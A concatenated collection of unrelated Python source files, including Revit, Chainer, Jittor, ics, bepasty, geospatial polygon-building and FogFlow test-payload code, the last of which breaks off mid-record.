import clr clr.AddReference('RevitAPI') from Autodesk.Revit.DB import * clr.AddReference("RevitNodes") import Revit clr.ImportExtensions(Revit.Elements) refgroup = UnwrapElement(IN[0]) groups = UnwrapElement(IN[1]) # Get Mirrored state of first family instance in reference group instance refGroupMembers = refgroup.GetMemberIds() numMembers = len(refGroupMembers) counter = 0 membernum = None refGroupType = refgroup.GroupType.Id.IntegerValue for member in refGroupMembers: elem = refgroup.Document.GetElement(member) if elem.GetType().ToString() == "Autodesk.Revit.DB.FamilyInstance": state = elem.Mirrored membernum = counter famtype = elem.GetTypeId().IntegerValue break counter += 1 # Default values for flags refGroupIntact = True noFamInsts = False # Set a flag if the reference group contains no family instances if membernum == None: noFamInsts = True else: bools = [] # Compare Mirrored state with corresponding members of other group instances for group in groups: # Get number of group members theseMembers = group.GetMemberIds() theseMembersNum = len(theseMembers) # Set a flag if any group instance has more members than the reference group instance # (only if both are of the same group type) if theseMembersNum > numMembers and refGroupType == group.GroupType.Id.IntegerValue: refGroupIntact = False break # Return null if group is of another group type elif refGroupType != group.GroupType.Id.IntegerValue: bools.append(None) # Return null for group instances with excluded members elif theseMembersNum < numMembers: bools.append(None) # Return null if family instance to compare if of a diffent type elif group.Document.GetElement(theseMembers[membernum]).GetTypeId().IntegerValue != famtype: bools.append(None) # Otherwise compare Mirrored state else: bools.append(group.Document.GetElement(theseMembers[membernum]).Mirrored != state) # Return null for all groups if the first group has excluded members # or if it does not contain any fanily instances if not refGroupIntact or noFamInsts: bools = [None] * len(groups) OUT = bools
68643
import pytest from ics import Calendar, ContentLine def test_gh195_override_prodid(): lines = [ "BEGIN:VCALENDAR", "VERSION:2.0", "X-WR-CALNAME:<NAME>", "X-APPLE-CALENDAR-COLOR:#996633", "END:VCALENDAR" ] with pytest.raises(ValueError, match="attribute PRODID is required but got no value"): Calendar(lines) calendar = Calendar() assert calendar.prodid == Calendar.DEFAULT_PRODID assert ContentLine("PRODID", value=Calendar.DEFAULT_PRODID) in calendar.to_container() test_prodid = "TEST_PRODID 123456 GitHub Issue 195" lines.insert(1, "PRODID:" + test_prodid) calendar = Calendar(lines) assert calendar.prodid == test_prodid assert ContentLine("PRODID", value=test_prodid) in calendar.to_container()
68716
import jittor as jt import numpy as np from advance import * import matplotlib.pyplot as plt import argparse import matplotlib.pyplot as plt from tqdm import trange from utils import get_model, modelSet, dataset_choices import argparse plt.switch_backend('agg') # CUDA_VISIBLE_DEVICES=0 log_silent=1 python3.7 run_ssl.py --model deeplab --layer aspp --channel 256 --dataset pancreas --save checkpoints/deeplab-ssl.pkl -e 50 --lr 5e-6 if __name__ == '__main__': jt.flags.use_cuda = int(1) parser = argparse.ArgumentParser() parser.add_argument('--model', default='unet', type=str, choices=modelSet, help='choose a model network') parser.add_argument('--dataset', type=str, choices=dataset_choices, required=True, help='select a dataset') parser.add_argument('--save', default='checkpoints/ssl.pkl', type=str, help='model weights save path') parser.add_argument('-e', '--epochs', type=int, default=20, help='number of training epochs', dest='epochs') parser.add_argument('-c', '--class-num', type=int, default=2, help='class number', dest='class_num') parser.add_argument('-b', '--batch-size', type=int, default=8, help='training batch size', dest='batch_size') parser.add_argument('--channel', dest='embedding_channel', type=int, default=512, help='number of channels of embedded feature maps') parser.add_argument('--layer', type=str, default='down4', help='layer to extract features from') parser.add_argument('--lr', type=float, default=1e-5, help='learning rate') parser.add_argument('--pretrain', action='store_true') args = parser.parse_args() model = get_model(args) train_loader = retrieve_aug_data(args, 'train', augmentation) learner = MoCoLearner( model=model, layer=args.layer, loader=train_loader, embedding_channel=args.embedding_channel, project_dim=128, lr=args.lr ) loss_min = 1e4 losses = [] with open('./log/ssl.txt', 'w') as f: # bar = trange(args.epochs) for epoch in range(args.epochs): loss = learner.train() # bar.set_description('epoch[%02d] loss:[%.6f\n]' % (epoch + 1, loss)) print('epoch[%02d] loss:[%.6f\n]' % (epoch + 1, loss)) f.write('epoch[%02d] loss:[%.6f\n]' % (epoch + 1, loss)) if loss < loss_min: model.save(args.save) losses.append(loss) np.savetxt('./log/ssl_loss.txt', loss) plt.plot(losses) plt.savefig('./result/ssl_losses.png')
68731
import logging import os import re import time from threading import Event, Lock, Thread import cook.util as cu class ProgressSequenceCounter: """Utility class that supports atomically incrementing the sequence value.""" def __init__(self, initial=0): self.lock = Lock() self.value = initial def increment_and_get(self): """Atomically increments by one the current value and returns the new value.""" with self.lock: self.value += 1 return self.value class ProgressUpdater(object): """This class is responsible for sending progress updates to the scheduler. It throttles the rate at which progress updates are sent. """ def __init__(self, task_id, max_message_length, poll_interval_ms, send_progress_message_fn): """ task_id: string The task id. max_message_length: int The allowed max message length after encoding. poll_interval_ms: int The interval after which to send a subsequent progress update. send_progress_message_fn: function(message) The helper function used to send the progress message. """ self.task_id = task_id self.max_message_length = max_message_length self.poll_interval_ms = poll_interval_ms self.last_reported_time = None self.last_progress_data_sent = None self.send_progress_message = send_progress_message_fn self.lock = Lock() def has_enough_time_elapsed_since_last_update(self): """Returns true if enough time (based on poll_interval_ms) has elapsed since the last progress update (available in last_reported_time). """ if self.last_reported_time is None: return True else: current_time = time.time() time_diff_ms = (current_time - self.last_reported_time) * 1000 return time_diff_ms >= self.poll_interval_ms def is_increasing_sequence(self, progress_data): """Checks if the sequence number in progress_data is larger than the previously published progress. Parameters ---------- progress_data: dictionary The progress data to send. Returns ------- True if the sequence number in progress_data is larger than the previously published progress, False otherwise """ last_progress_data = self.last_progress_data_sent last_progress_sequence = last_progress_data['progress-sequence'] if last_progress_data else -1 return progress_data['progress-sequence'] > last_progress_sequence def send_progress_update(self, progress_data, force_send=False): """Sends a progress update if enough time has elapsed since the last progress update. The force_send flag can be used to ignore the check for enough time having elapsed. Using this method is thread-safe. Parameters ---------- progress_data: dictionary The progress data to send. force_send: boolean, optional Defaults to false. Returns ------- Nothing """ with self.lock: # ensure we do not send outdated progress data due to parallel repeated calls to this method if progress_data is None or not self.is_increasing_sequence(progress_data): logging.info('Skipping invalid/outdated progress data {}'.format(progress_data)) elif not force_send and not self.has_enough_time_elapsed_since_last_update(): logging.debug('Not sending progress data as enough time has not elapsed since last update') else: logging.info('Sending progress message {}'.format(progress_data)) message_dict = dict(progress_data) message_dict['task-id'] = self.task_id raw_progress_message = progress_data['progress-message'] try: progress_str = raw_progress_message.decode('ascii').strip() except UnicodeDecodeError: logging.info('Unable to decode progress message in ascii, using empty string instead') progress_str = '' if len(progress_str) <= self.max_message_length: message_dict['progress-message'] = progress_str else: allowed_progress_message_length = max(self.max_message_length - 3, 0) new_progress_str = progress_str[:allowed_progress_message_length].strip() + '...' logging.info('Progress message trimmed to {}'.format(new_progress_str)) message_dict['progress-message'] = new_progress_str send_success = self.send_progress_message(message_dict) if send_success: self.last_progress_data_sent = progress_data self.last_reported_time = time.time() else: logging.info('Unable to send progress message {}'.format(message_dict)) class ProgressWatcher(object): """This class tails the output from the target file listening for progress messages. The retrieve_progress_states generates all progress messages iteratively. """ def __init__(self, output_name, location_tag, sequence_counter, max_bytes_read_per_line, progress_regex_string, stop_signal, task_completed_signal, progress_termination_signal): """The ProgressWatcher constructor. Parameters ---------- progress_regex_string: string The progress regex to match against, it must return one or two capture groups. The first capture group represents the progress percentage. The second capture group, if present, represents the progress message. """ self.target_file = output_name self.location_tag = location_tag self.sequence_counter = sequence_counter self.max_bytes_read_per_line = max_bytes_read_per_line self.progress_regex_string = progress_regex_string self.progress_regex_pattern = re.compile(progress_regex_string.encode()) self.progress = None self.stop_signal = stop_signal self.task_completed_signal = task_completed_signal self.progress_termination_signal = progress_termination_signal def current_progress(self): """Returns the current progress dictionary.""" return self.progress def tail(self, sleep_time_ms): """This method incrementally generates lines from a file by waiting for new content from a file. It behaves like the 'tail -f' shell command. Parameters ---------- sleep_time_ms: int The unit of time in ms to repetitively sleep when the file has not been created or no new content is available in the file being tailed. Returns ------- an incrementally generated list of lines in the file being tailed. """ try: sleep_param = sleep_time_ms / 1000 if os.path.exists(self.target_file) and not os.path.isfile(self.target_file): logging.info('Skipping progress monitoring on %s as it is not a file', self.target_file) return if not os.path.isfile(self.target_file): logging.debug('Awaiting creation of file %s [tag=%s]', self.target_file, self.location_tag) while not os.path.isfile(self.target_file) and not self.task_completed_signal.isSet(): time.sleep(sleep_param) if not os.path.isfile(self.target_file): logging.info('Progress output file has not been created [tag=%s]', self.location_tag) return if self.stop_signal.isSet(): logging.info('Parsing progress messages interrupted [tag=%s]', self.location_tag) return logging.info('File has been created, reading contents [tag=%s]', self.location_tag) linesep_bytes = os.linesep.encode() fragment_index = 0 line_index = 0 def log_tail_summary(): log_message = '%s fragments and %s lines read while processing progress messages [tag=%s]' logging.info(log_message, fragment_index, line_index, self.location_tag) with open(self.target_file, 'rb') as target_file_obj: while not self.stop_signal.isSet(): if self.progress_termination_signal.isSet(): logging.info('tail short-circuiting due to progress termination [tag=%s]', self.location_tag) log_tail_summary() break line = target_file_obj.readline(self.max_bytes_read_per_line) if not line: # exit if program has completed and there are no more lines to read if self.task_completed_signal.isSet(): log_tail_summary() break # no new line available, sleep before trying again time.sleep(sleep_param) continue fragment_index += 1 if line.endswith(linesep_bytes): line_index += 1 yield line if self.stop_signal.isSet() and not self.task_completed_signal.isSet(): logging.info('Task requested to be killed, may not have processed all progress messages') except Exception as exception: logging.exception('Error while tailing %s [tag=%s]', self.target_file, self.location_tag) raise exception def match_progress_update(self, input_data): """Returns the progress tuple when the input string matches the provided regex. Parameters ---------- input_data: bytes The input data. Returns ------- the tuple (percent, message) if the string matches the provided regex, else return None. """ matches = self.progress_regex_pattern.findall(input_data) return matches[0] if len(matches) >= 1 else None def __update_progress(self, progress_report): """Updates the progress field with the data from progress_report if it is valid.""" if isinstance(progress_report, tuple) and len(progress_report) == 2: percent_data, message_data = progress_report elif isinstance(progress_report, tuple) and len(progress_report) == 1: percent_data, message_data = progress_report[0], b'' else: percent_data, message_data = progress_report, b'' percent_float = float(percent_data.decode()) if percent_float < 0 or percent_float > 100: logging.info('Skipping "%s" as the percent is not in [0, 100]', progress_report) return False percent_int = int(round(percent_float)) logging.debug('Updating progress to %s percent [tag=%s]', percent_int, self.location_tag) self.progress = {'progress-message': message_data, 'progress-percent': percent_int, 'progress-sequence': self.sequence_counter.increment_and_get()} return True def retrieve_progress_states(self): """Generates the progress states by tailing the target_file. It tails a target file (using the tail() method) and uses the provided regex to find a match for a progress message. The regex is expected to generate two components in the match: the progress percent as an int and a progress message string. When such a message is found, this method yields the current progress as a dictionary. Note: This function must rethrow any OSError exceptions that it encounters. Returns ------- An incrementally generated list of progress states. """ last_unprocessed_report = None if self.progress_regex_string: sleep_time_ms = 50 for line in self.tail(sleep_time_ms): try: progress_report = self.match_progress_update(line) if progress_report is not None: if self.task_completed_signal.isSet(): last_unprocessed_report = progress_report elif self.__update_progress(progress_report): yield self.progress except Exception as exception: if cu.is_out_of_memory_error(exception): raise exception else: logging.exception('Skipping "%s" as a progress entry', line) if last_unprocessed_report is not None: if self.__update_progress(last_unprocessed_report): yield self.progress class ProgressTracker(object): """Helper class to track progress messages from the specified location.""" def __init__(self, config, stop_signal, task_completed_signal, counter, progress_updater, progress_termination_signal, location, location_tag, os_error_handler): """Launches the threads that track progress and send progress updates to the driver. Parameters ---------- config: cook.config.ExecutorConfig The current executor config. stop_signal: threading.Event Event that determines if an interrupt was sent task_completed_signal: threading.Event Event that tracks task execution completion progress_updater: ProgressUpdater The progress updater used to send the progress messages counter: ProgressSequenceCounter The sequence counter location: string The target location to read for progress messages location_tag: string A tag to identify the target location. os_error_handler: fn(os_error) OSError exception handler for out of memory situations.""" self.location_tag = location_tag self.os_error_handler = os_error_handler self.progress_complete_event = Event() self.watcher = ProgressWatcher(location, location_tag, counter, config.max_bytes_read_per_line, config.progress_regex_string, stop_signal, task_completed_signal, progress_termination_signal) self.updater = progress_updater def start(self): """Launches a thread that starts monitoring the progress location for progress messages.""" logging.info('Starting progress monitoring from [tag=%s]', self.location_tag) tracker_thread = Thread(target=self.track_progress, args=()) tracker_thread.daemon = True tracker_thread.start() def wait(self, timeout=None): """Waits for the progress tracker thread to run to completion.""" self.progress_complete_event.wait(timeout=timeout) if self.progress_complete_event.isSet(): logging.info('Progress monitoring complete [tag=%s]', self.location_tag) else: logging.info('Progress monitoring did not complete [tag=%s]', self.location_tag) def track_progress(self): """Retrieves and sends progress updates using send_progress_update_fn. It sets the progress_complete_event before returning.""" try: for current_progress in self.watcher.retrieve_progress_states(): self.updater.send_progress_update(current_progress) except Exception as exception: if cu.is_out_of_memory_error(exception): self.os_error_handler(exception) else: logging.exception('Exception while tracking progress [tag=%s]', self.location_tag) finally: self.progress_complete_event.set() def force_send_progress_update(self): """Retrieves the latest progress message and attempts to force send it to the scheduler.""" latest_progress = self.watcher.current_progress() self.updater.send_progress_update(latest_progress, force_send=True)
68794
import sys import inspect import threading #import logging class logging: @staticmethod def debug( msg ): print( msg, file=sys.stderr) def format_frame( frame ): return '{}:{} {}'.format( *[str(getattr(frame, a)) for a in ('filename', 'lineno', 'function')] ) # Class to wrap Lock and simplify logging of lock usage class Lock: """ Wraps a standard Lock, so that attempts to use the lock according to its API are logged for debugging purposes """ def __init__(self, name=None, log=None): self.lock = threading.Lock() self.do_init( name, log ) self.log.debug("{0} created {1}".format(self.context(), self.name)) def do_init( self, name=None, log=None ): self.name = str(name) self.log = log or logging def acquire(self, blocking=True): self.log.debug("{0} ---- trying to acquire {1}".format( self.context(), self.name)) for f in self.print_stack(): self.log.debug( f ) ret = self.lock.acquire(blocking) if ret == True: self.log.debug("{0} **** acquired {1}".format( self.context(), self.name)) else: self.log.debug("{0} **** non-blocking acquire of {1} lock failed".format( self.context(), self.name)) return ret def print_stack( self ): stack = inspect.stack() return [format_frame(frame) for frame in reversed(stack)] def context( self ): return format_frame( inspect.stack()[3] ) def release(self): self.log.debug("{0} vvvv releasing {1}".format(self.context(), self.name)) self.lock.release() def __enter__(self): self.acquire() def __exit__(self, exc_type, exc_val, exc_tb): self.release() return False # Do not swallow exceptions class RLock(Lock): """ Wraps a standard RLock, so that attempts to use the lock according to its API are logged for debugging purposes """ def __init__(self, name=None, log=None): self.lock = threading.RLock() self.do_init( name, log ) self.log.debug("{0} created {1}".format(self.context(), self.name))
68800
import numpy import six from chainer.backends import cuda from chainer.backends import intel64 from chainer import function_node from chainer.utils import type_check def _cu_conv_sum(y, x, n): # Convolutional sum # TODO(beam2d): Use scan computation rdim = x.size // (x.shape[0] * x.shape[1]) cuda.elementwise( 'raw T x, int32 rdim, int32 N, int32 n_', 'raw T y', ''' int half_n = n_ / 2; int offset = i / rdim * N * rdim + i % rdim; float sum_part = 0; for (int j = 0; j < N + half_n; ++j) { if (j < N) { sum_part += x[offset + j * rdim]; } if (j >= n_) { sum_part -= x[offset + (j - n_) * rdim]; } if (j >= half_n) { y[offset + (j - half_n) * rdim] = sum_part; } } ''', 'lrn_conv_sum')(x, rdim, x.shape[1], n, y, size=x.shape[0] * rdim) class LocalResponseNormalization(function_node.FunctionNode): """Cross-channel normalization function used in AlexNet.""" _use_ideep = False def __init__(self, n=5, k=2, alpha=1e-4, beta=.75): self.n = n self.k = k self.alpha = alpha self.beta = beta self.scale = None self.indexes = None self.unit_scale = None def check_type_forward(self, in_types): type_check.expect(in_types.size() == 1) x_type, = in_types type_check.expect( x_type.dtype.kind == 'f', x_type.ndim >= 2, ) def forward_cpu(self, inputs): if (intel64.should_use_ideep('>=auto') and intel64.inputs_all_ready(inputs, (4,))): self._use_ideep = True return self.forward_ideep(inputs) x, = inputs self.retain_inputs((0,)) self.retain_outputs((0,)) half_n = self.n // 2 x2 = numpy.square(x) sum_part = x2.copy() for i in six.moves.range(1, half_n + 1): sum_part[:, i:] += x2[:, :-i] sum_part[:, :-i] += x2[:, i:] self.unit_scale = self.k + self.alpha * sum_part self.scale = self.unit_scale ** -self.beta y = x * self.scale return y, def forward_ideep(self, inputs): x, = inputs self.retain_inputs((0,)) self.retain_outputs((0,)) param = intel64.ideep.localResponseNormalizationParam( self.n, self.k, self.n * self.alpha, self.beta, intel64.ideep.localResponseNormalizationParam.lrn_across_channels) y, indexes = intel64.ideep.localResponseNormalization.Forward( intel64.ideep.array(x), param) self.indexes = indexes return y, def forward_gpu(self, inputs): x, = inputs self.retain_inputs((0,)) self.retain_outputs((0,)) self.y = cuda.cupy.square(x) # temporary self.scale = cuda.cupy.empty_like(self.y) _cu_conv_sum(self.scale, self.y, self.n) cuda.elementwise( 'T x, T k, T alpha, T beta', 'T y, T scale', '''scale = k + alpha * scale; y = x * pow(scale, -beta);''', 'lrn_fwd')(x, self.k, self.alpha, self.beta, self.y, self.scale) return self.y, def backward(self, indexes, grad_outputs): x, = self.get_retained_inputs() y, = self.get_retained_outputs() gy, = grad_outputs f = LocalResponseNormalizationGrad( self.n, self.k, self.alpha, self.beta, self._use_ideep, self.scale, self.indexes, self.unit_scale,) return f.apply((x, y, gy)) class LocalResponseNormalizationGrad(function_node.FunctionNode): def __init__(self, n, k, alpha, beta, use_ideep, scale=None, indexes=None, unit_scale=None): self.n = n self.k = k self.alpha = alpha self.beta = beta self._use_ideep = use_ideep self.scale = scale self.indexes = indexes self.unit_scale = unit_scale def forward_cpu(self, inputs): if self._use_ideep: return self._backward_ideep(inputs) x, y, gy = inputs half_n = self.n // 2 summand = y * gy / self.unit_scale sum_part = summand.copy() for i in six.moves.range(1, half_n + 1): sum_part[:, i:] += summand[:, :-i] sum_part[:, :-i] += summand[:, i:] gx = gy * self.scale - 2 * self.alpha * self.beta * x * sum_part return gx, def _backward_ideep(self, inputs): x, y, gy = inputs param = intel64.ideep.localResponseNormalizationParam( self.n, self.k, self.n * self.alpha, self.beta, intel64.ideep.localResponseNormalizationParam.lrn_across_channels ) gx = intel64.ideep.localResponseNormalization.Backward( intel64.ideep.array(x), intel64.ideep.array(gy), self.indexes, param) return gx, def forward_gpu(self, inputs): x, y, gy = inputs summand = cuda.elementwise( 'T scale, T y, T gy', 'T summand', 'summand = y * gy / scale', 'lrn_bwd_summand')(self.scale, y, gy) gx = cuda.cupy.empty_like(x) _cu_conv_sum(gx, summand, self.n) cuda.elementwise( ' T x, T gy, T scale, T beta, T coeff', 'T gx', 'gx = pow(scale, -beta) * gy - coeff * x * gx', 'lrn_bwd')(x, gy, self.scale, self.beta, 2 * self.alpha * self.beta, gx) return gx, def backward(self, indexes, grad_outputs): # No trivial way to implement double-backward for this function. raise NotImplementedError def local_response_normalization(x, n=5, k=2, alpha=1e-4, beta=.75): """Local response normalization across neighboring channels. This function implements normalization across channels. Let :math:`x` an input image with :math:`N` channels. Then, this function computes an output image :math:`y` by following formula: .. math:: y_i = {x_i \\over \\left( k + \\ \\alpha \\sum_{j=\\max{1, i - n/2}}^{\\min{N, i + n/2}} \\ x_j^2 \\right)^\\beta}. Args: x (:class:`~chainer.Variable` or :ref:`ndarray`): Input variable. n (int): Normalization window width. k (float): Smoothing parameter. alpha (float): Normalizer scaling parameter. beta (float): Normalizer power parameter. Returns: ~chainer.Variable: Output variable. See: Section 3.3 of `ImageNet Classification with Deep Convolutional Neural Networks <https://www.cs.toronto.edu/~fritz/absps/imagenet.pdf>`_ """ return LocalResponseNormalization(n, k, alpha, beta).apply((x,))[0]
68842
import pytest from bepasty.storage.filesystem import Storage def test_contains(tmpdir): storage = Storage(str(tmpdir)) name = "foo" # check if it is not there yet assert name not in storage with storage.create(name, 0): # we just want it created, no need to write sth into it pass # check if it is there assert name in storage storage.remove(name) # check if it is gone assert name not in storage def test_iter(tmpdir): storage = Storage(str(tmpdir)) # nothing there yet assert list(storage) == [] names = ["foo", "bar", "baz", ] for name in names: with storage.create(name, 0): # we just want it created, no need to write sth into it pass assert set(list(storage)) == set(names) def test_invalid_name(tmpdir): storage = Storage(str(tmpdir)) name = "../invalid" with pytest.raises(RuntimeError): storage.create(name, 0)
68844
from django.conf.urls.defaults import * urlpatterns = patterns('', url(r'^login/$', 'authsub.views.login', name="authsub_login"), )
68885
from __future__ import absolute_import import pkg_resources __version__ = '0.3.0' BASE_JAR = "pyleus-base.jar" BASE_JAR_PATH = pkg_resources.resource_filename('pyleus', BASE_JAR)
68904
RTL_LANGUAGES = { 'he', 'ar', 'arc', 'dv', 'fa', 'ha', 'khw', 'ks', 'ku', 'ps', 'ur', 'yi', } COLORS = { 'primary': '#0d6efd', 'blue': '#0d6efd', 'secondary': '#6c757d', 'success': '#198754', 'green': '#198754', 'danger': '#dc3545', 'red': '#dc3545', 'warning': '#ffc107', 'yellow': '#ffc107', 'info': '#0dcaf0', 'cyan': '#0dcaf0', 'gray': '#adb5bd', 'dark': '#000', 'black': '#000', 'white': '#fff', 'teal': '#20c997', 'orange': '#fd7e14', 'pink': '#d63384', 'purple': '#6f42c1', 'indigo': '#6610f2', 'light': '#f8f9fa', } DEFAULT_ASSESSMENT_BUTTON_COLOR = '#0d6efd' # primary DEFAULT_ASSESSMENT_BUTTON_ACTIVE_COLOR = '#fff' # white
68908
from shapely.geometry import Point, MultiPoint, Polygon, MultiPolygon from shapely.ops import cascaded_union, polygonize from shapely.prepared import prep from rtree import Rtree import sys, random, json, numpy, math, pickle, os SAMPLE_ITERATIONS = 200 SAMPLE_SIZE = 5 MEDIAN_THRESHOLD = 5.0 median_distance_cache = {} def median_distances(pts, aggregate=numpy.median): key = tuple(sorted(pts)) if key in median_distance_cache: return median_distance_cache[key] median = (numpy.median([pt[0] for pt in pts]), numpy.median([pt[1] for pt in pts])) distances = [] for pt in pts: dist = math.sqrt(((median[0]-pt[0])*math.cos(median[1]*math.pi/180.0))**2+(median[1]-pt[1])**2) distances.append((dist, pt)) median_dist = aggregate([dist for dist, pt in distances]) median_distance_cache[key] = (median_dist, distances) return (median_dist, distances) def mean_distances(pts): return median_distances(pts, numpy.mean) name_file, point_file = sys.argv[1:3] places = {} names = {} if os.path.exists(point_file + '.cache'): print >>sys.stderr, "Reading from %s cache..." % point_file names, places = pickle.load(file(point_file + ".cache")) else: all_names = {} count = 0 for line in file(name_file): place_id, name = line.strip().split(None, 1) all_names[int(place_id)] = name count += 1 if count % 1000 == 0: print >>sys.stderr, "\rRead %d names from %s." % (count, name_file), print >>sys.stderr, "\rRead %d names from %s." % (count, name_file) count = 0 for line in file(point_file): place_id, lon, lat = line.strip().split() place_id = int(place_id) names[place_id] = all_names.get(place_id, "") point = (float(lon), float(lat)) pts = places.setdefault(place_id, set()) pts.add(point) count += 1 if count % 1000 == 0: print >>sys.stderr, "\rRead %d points in %d places." % (count, len(places)), print >>sys.stderr, "\rRead %d points in %d places." % (count, len(places)) count = 0 discarded = 0 for place_id, pts in places.items(): count += 1 print >>sys.stderr, "\rComputing outliers for %d of %d places..." % (count, len(places)), median_dist, distances = median_distances(pts) keep = [pt for dist, pt in distances if dist < median_dist * MEDIAN_THRESHOLD] discarded += len(pts) - len(keep) places[place_id] = keep print >>sys.stderr, "%d points discarded." % discarded if not os.path.exists(point_file + '.cache'): print >>sys.stderr, "Caching points..." pickle.dump((names, places), file(point_file + ".cache", "w"), -1) print >>sys.stderr, "Indexing..." points = [] place_list = set() for place_id, pts in places.items(): for pt in pts: place_list.add((len(points), pt+pt, None)) points.append((place_id, Point(pt))) index = Rtree(place_list) """ REASSIGNMENT_PASSES = 10 iterations = 0 count = 0 queue = places.keys() + [None] while len(queue) > 1: place_id = queue.pop(0) if place_id is None: count = 0 iterations += 1 queue.append(None) place_id = queue.pop(0) if not places[place_id]: del places[place_id] continue pts = places[place_id] count += 1 print >>sys.stderr, "\rIteration #%d of reassignment: %d of %d places..." % (iterations, count, len(queue)), if iterations > len(pts) / 10.0: continue old_source_mean, distances = mean_distances(pts) _, outlier = max(distances) best = (None, 0.0) print >>sys.stderr, "" for nearest in index.nearest(outlier.bounds, 3, objects=True): #print >>sys.stderr, " -> %s (%d) versus %s (%d)" % (outlier, place_id, Point(nearest.bbox[0:2]), nearest.id) if nearest.id == place_id: continue old_target_mean, _ = mean_distances(places[nearest.id]) source = list(pts) source.remove(outlier) target = list(places[nearest.id]) + [outlier] #print >>sys.stderr, " source: new=%d items, old=%d items" % (len(source), len(pts)) new_source_mean, _ = mean_distances(source) new_target_mean, _ = mean_distances(target) print >>sys.stderr, " source mean: new=%.6f, old=%.6f" % (old_source_mean, new_source_mean) print >>sys.stderr, " target mean: new=%.6f, old=%.6f" % (old_target_mean, new_target_mean) if new_source_mean < old_source_mean and \ new_target_mean < old_target_mean: improvement = (old_source_mean - new_source_mean) \ + (old_target_mean - new_target_mean) if improvement > best[1]: best = (nearest.id, improvement) if best[1] > 0: pts.remove(outlier) places[best[0]].append(outlier) queue.append(place_id) print >>sys.stderr, "%s moved from %d to %d." % (outlier, place_id, best[0]) print >>sys.stderr, "Done." """ sample_hulls = {} count = 0 for place_id, pts in places.items(): hulls = [] if len(pts) < 3: print >>sys.stderr, "\n ... discarding place #%d" % place_id continue for i in range(min(pts,SAMPLE_ITERATIONS)): multipoint = MultiPoint(random.sample(pts, min(SAMPLE_SIZE, len(pts)))) hull = multipoint.convex_hull if isinstance(hull, Polygon) and not hull.is_empty: hulls.append(hull) try: sample_hulls[place_id] = cascaded_union(hulls) except: print >>sys.stderr, hulls sys.exit() if hasattr(sample_hulls[place_id], "geoms"): sample_hulls[place_id] = cascaded_union([hull for hull in sample_hulls[place_id] if type(hull) is Polygon]) count += SAMPLE_ITERATIONS print >>sys.stderr, "\rComputing %d of %d hulls..." % (count, (len(places) * SAMPLE_ITERATIONS)), print >>sys.stderr, "\nCombining hull boundaries..." boundaries = cascaded_union([hull.boundary for hull in sample_hulls.values()]) print >>sys.stderr, "Polygonizing %d boundaries..." % len(boundaries) rings = list(polygonize(boundaries)) for i, ring in enumerate(rings): print >>sys.stderr, "\rBuffering %d of %d polygons..." % (i, len(rings)), size = math.sqrt(ring.area)*0.1 rings[i] = ring.buffer(size) print >>sys.stderr, "Done." polygons = {} count = 0 for polygon in rings: if polygon.is_empty: continue place_count = dict((place_id, 0) for place_id in places) prepared = prep(polygon) for item in index.intersection(polygon.bounds): place_id, point = points[item] if prepared.intersects(point): place_count[place_id] += 1 pt_count, place_id = max((c, i) for (i, c) in place_count.items()) polys = polygons.setdefault(place_id, []) polys.append(polygon) count += 1 print >>sys.stderr, "\rAssigning %d of %d polygons..." % (count,len(rings)), print >>sys.stderr, "Done." count = 0 for place_id, polys in polygons.items(): polygons[place_id] = cascaded_union(polys) count += 1 print >>sys.stderr, "\rUnifying %d of %d polygons..." % (count,len(polygons)), print >>sys.stderr, "Done." count = 0 orphans = [] for place_id, multipolygon in polygons.items(): count += 1 print >>sys.stderr, "\rRemoving %d orphans from %d of %d polygons..." % (len(orphans), count, len(polygons)), if type(multipolygon) is not MultiPolygon: continue polygon_count = [0] * len(multipolygon) for i, polygon in enumerate(multipolygon.geoms): prepared = prep(polygon) for item in index.intersection(polygon.bounds): item_id, point = points[item] if item_id == place_id and prepared.intersects(point): polygon_count[i] += 1 winner = max((c, i) for (i, c) in enumerate(polygon_count))[1] polygons[place_id] = multipolygon.geoms[winner] orphans.extend(p for i, p in enumerate(multipolygon.geoms) if i != winner) print >>sys.stderr, "Done." orphans = [] count = 0 changed = True while changed and orphans: orphan = orphans.pop(0) changed = False count += 1 print >>sys.stderr, "\rReassigning %d of %d orphans..." % (count, len(orphans)), place_count = dict((place_id, 0) for place_id in places) total_count = 0.0 prepared = prep(orphan) for item in index.intersection(orphan.bounds): item_id, point = points[item] if prepared.intersects(point): place_count[item_id] += 1 total_count += 1 for place_id, ct in place_count.items(): if total_count > 0 and float(ct)/total_count > 1/3.0: polygons[place_id] = polygons[place_id].union(orphan) changed = True if not changed: orphans.append(orphan) print >>sys.stderr, "Done." print >>sys.stderr, "\nWriting output." features = [] for place_id, poly in polygons.items(): features.append({ "type": "Feature", "id": place_id, "geometry": poly.__geo_interface__, "properties": {"woe_id": place_id, "name": names.get(place_id, "")} }) collection = { "type": "FeatureCollection", "features": features } print json.dumps(collection)
68975
from .GrdFile import * from .MdfFile import * from .TimeSeriesFile import * from .GrdFile import * from .DepFile import * from .Simulation import *
68992
subscription_data=\ { "description": "A subscription to get info about Room1", "subject": { "entities": [ { "id": "Room1", "type": "Room", } ], "condition": { "attrs": [ "p3" ] } }, "notification": { "http": { "url": "http://192.168.100.162:8888" }, "attrs": [ "p1", "p2", "p3" ] }, "expires": "2040-01-01T14:00:00.00Z", "throttling": 5 } #data to test the following code for broker.thinBroker.go:946 ''' subReqv2 := SubscriptionRequest{} err := r.DecodeJsonPayload(&subReqv2) if err != nil { rest.Error(w, err.Error(), http.StatusInternalServerError) return } ''' subscriptionWrongPaylaod=\ { "description": "A subscription to get info about Room1", "subject": { "entities": [ { "id": "Room1", "type": "Room", "ispattern":"false" } ], "condition": { "attrs": [ "p3" ] } }, "notification": { "http": { "url": "http://192.168.100.162:8888" }, "attrs": [ "p1", "p2", "p3" ] }, "expires": "2040-01-01T14:00:00.00Z", "throttling": 5 } v1SubData=\ { "entities": [ { "id": "Room1", "type": "Room", } ], "reference": "http://192.168.100.162:8668/ngsi10/updateContext" } updateDataWithupdateaction=\ { "contextElements": [ { "entityId": { "id": "Room1", "type": "Room" }, "attributes": [ { "name": "p1", "type": "float", "value": 60 }, { "name": "p3", "type": "float", "value": 69 }, { "name": "p2", "type": "float", "value": 32 } ], "domainMetadata": [ { "name": "location", "type": "point", "value": { "latitude": 49.406393, "longitude": 8.684208 } } ] } ], "updateAction": "UPDATE" } createDataWithupdateaction=\ { "contextElements": [ { "entityId": { "id": "Room1", "type": "Room" }, "attributes": [ { "name": "p1", "type": "float", "value": 90 }, { "name": "p3", "type": "float", "value": 70 }, { "name": "p2", "type": "float", "value": 12 } ], "domainMetadata": [ { "name": "location", "type": "point", "value": { "latitude": 49.406393, "longitude": 